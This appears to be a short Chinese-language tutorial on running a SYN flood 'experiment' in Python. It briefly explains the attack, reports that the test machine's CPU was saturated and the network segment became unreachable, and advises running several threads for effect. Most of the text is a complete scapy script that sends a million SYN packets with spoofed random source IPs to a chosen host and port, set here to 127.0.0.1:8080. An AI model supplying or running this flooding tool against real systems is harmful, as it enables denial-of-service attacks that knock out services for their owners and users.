如何使用python做syn_flood攻击的实验

什么是SYN_FLOOD

若正常通过三次握手过程，则连接就建立了，但是恶意攻击者会刻意伪造ip地址，使得受攻击的主机得不到最后一次握手，只能不断的为到来的syn分配内存，发送syn+ack，就这样一直等不到第三次握手的ack确认。

同时开启多个线程运行即可达到攻击效果

结果

任务管理器展示CPU使用率

该网段已无法访问

代码

from Tools.scripts.treesync import raw_input
from scapy.all import *
import os
import sys
import random

from scapy.layers.inet import TCP, IP


def randomIP():
    ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
    return ip


def randInt():
    x = random.randint(1000, 9000)
    return x


def SYN_Flood(dstIP, dstPort):
    total = 0
    print("Packets are sending ...")
    for x in range(0, 1000000):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()

        IP_Packet = IP()
        IP_Packet.src = randomIP()
        IP_Packet.dst = dstIP

        TCP_Packet = TCP()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = dstPort
        TCP_Packet.flags = "S"
        TCP_Packet.seq = s_eq
        TCP_Packet.window = w_indow

        send(IP_Packet / TCP_Packet, verbose=0)
        print('one was sent')
        total += 1
    sys.stdout.write("\nTotal packets sent: %i\n" % total)


def main():
    SYN_Flood('127.0.0.1', 8080)


main()